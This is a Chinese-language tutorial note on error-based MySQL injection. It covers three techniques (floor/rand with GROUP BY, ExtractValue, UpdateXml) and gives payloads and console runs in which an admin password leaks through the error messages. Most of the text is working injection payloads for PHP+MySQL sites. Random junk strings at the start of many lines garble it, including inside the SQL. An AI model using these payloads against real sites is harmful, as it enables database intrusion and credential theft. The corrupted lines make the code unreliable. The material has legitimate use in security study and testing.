关于Mysql注入过程中的三种报错方式

admin

放点原来的笔记，Mysql在执行语句的时候会抛出异常信息信息，而php+mysql架构的网站往往又将错误代码显示在页面上，这样可以通过构造如下三种方法获取特定数据。
0 m2 f/ c" p' v. K实际测试环境：
​
7 D2 {; |! K$ \" t, t: m2 X
# z. d/ U  ^# t* b' s) R9 O/ N( Kmysql> show tables;
+----------------+
3 Z5 b3 S# U$ k+ e| Tables_in_test |
5 O7 @2 W% v7 F4 ^" Y+----------------+
| admin          |
$ u" Q, U* I8 F. f| article        |
1 {8 X# @/ \4 x% p+----------------+
; r- r3 w! \3 j7 z
) k$ S4 e' b9 H# s' \  D+ M5 m
0 [' e( f1 f0 b/ ~$ I, x) @
mysql> describe admin;
+ h* M" _, n/ v3 R% v+-------+------------------+------+-----+---------+----------------+
| Field | Type             | Null | Key | Default | Extra          |
% V. j6 n2 p& H* L+ Z1 b2 h2 ~. C9 I+-------+------------------+------+-----+---------+----------------+
  S( U& d7 C% V2 B1 N9 \$ z| id    | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
| user  | varchar(50)      | NO   |     | NULL    |                |
| pass  | varchar(50)      | NO   |     | NULL    |                |
+-------+------------------+------+-----+---------+----------------+

& U4 j* g/ d0 t
2 {: U9 B- o9 E/ M9 L
mysql> describe article;
" ?; ?! B* K* {2 P+---------+------------------+------+-----+---------+----------------+
| Field   | Type             | Null | Key | Default | Extra          |
+---------+------------------+------+-----+---------+----------------+
6 S: G1 V, {$ ^9 a5 L5 l* u1 J) O| id      | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
| title   | varchar(50)      | NO   |     | NULL    |                |
  X! G, x  S* q+ y8 W/ J| content | varchar(50)      | NO   |     | NULL    |                |
% r) }* T# S# V+---------+------------------+------+-----+---------+----------------+
1、通过floor报错
可以通过如下一些利用代码


and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
from information_schema.tables group by x)a);


/ E$ ?6 f  k# ?. gand (select count(*) from (select 1 union select null union select !1)x
1 N* V, H/ n' W7 Qgroup by concat((select table_name from information_schema.tables limit 1),
floor(rand(0)*2)));
举例如下：
首先进行正常查询：

  }: Y1 h! `6 J7 d" d: G' Gmysql> select * from article where id = 1;
+----+-------+---------+
| id | title | content |
+----+-------+---------+
* }# B$ Y- o# c|  1 | test  | do it   |
+----+-------+---------+
假如id输入存在注入的话，可以通过如下语句进行报错。


mysql> select * from article where id = 1 and (select 1 from
- z. N( M) H( a(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
7 B) x4 C1 D( J8 E- l1 r1 AERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'
; ^2 q2 L4 K9 {6 V可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
0 ]& r8 ~5 v4 U8 m" j4 I4 K8 Q+ g例如我们需要查询管理员用户名和密码：
" D  d6 V/ c! f2 q, {6 p* c4 ?8 ~Method1:


mysql> select * from article where id = 1 and (select 1 from
(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x
from information_schema.tables group by x)a);
# }- i/ y) X/ ?3 o: q. FERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
5 }9 l/ l) x8 zMethod2:
0 w% T$ R' Y2 ~; r

6 E: l6 k, [2 R8 r2 r4 l5 e6 Qmysql> select * from article where id = 1 and (select count(*)
from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),
8 [8 p2 S- {$ D$ y1 g/ T; R! j. C- Ufloor(rand(0)*2)));
* y8 H8 g9 x2 \: j0 N# C: PERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
2、ExtractValue
  U7 \! n8 R. a测试语句如下
+ E: U! F0 @: k0 U

; z9 l* q1 f3 v' n, W( wand extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
实际测试过程


mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
, U+ q8 l+ L, T+ {(select pass from admin limit 1)));--
: K5 ^, e9 `1 H* u( n; b, nERROR 1105 (HY000): XPATH syntax error: '\admin888'
3、UpdateXml
; N* q5 j9 s" C. d  `) V测试语句


and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
0 d9 y7 _1 D! J5 e. q( d1 L3 S实际测试过程


mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,
$ h2 g4 W3 n. N  h& q(select pass from admin limit 1),0x5e24),1));
ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
All, thanks foreign guys.

​
8 P  S) b2 v8 ^2 S7 ^6 I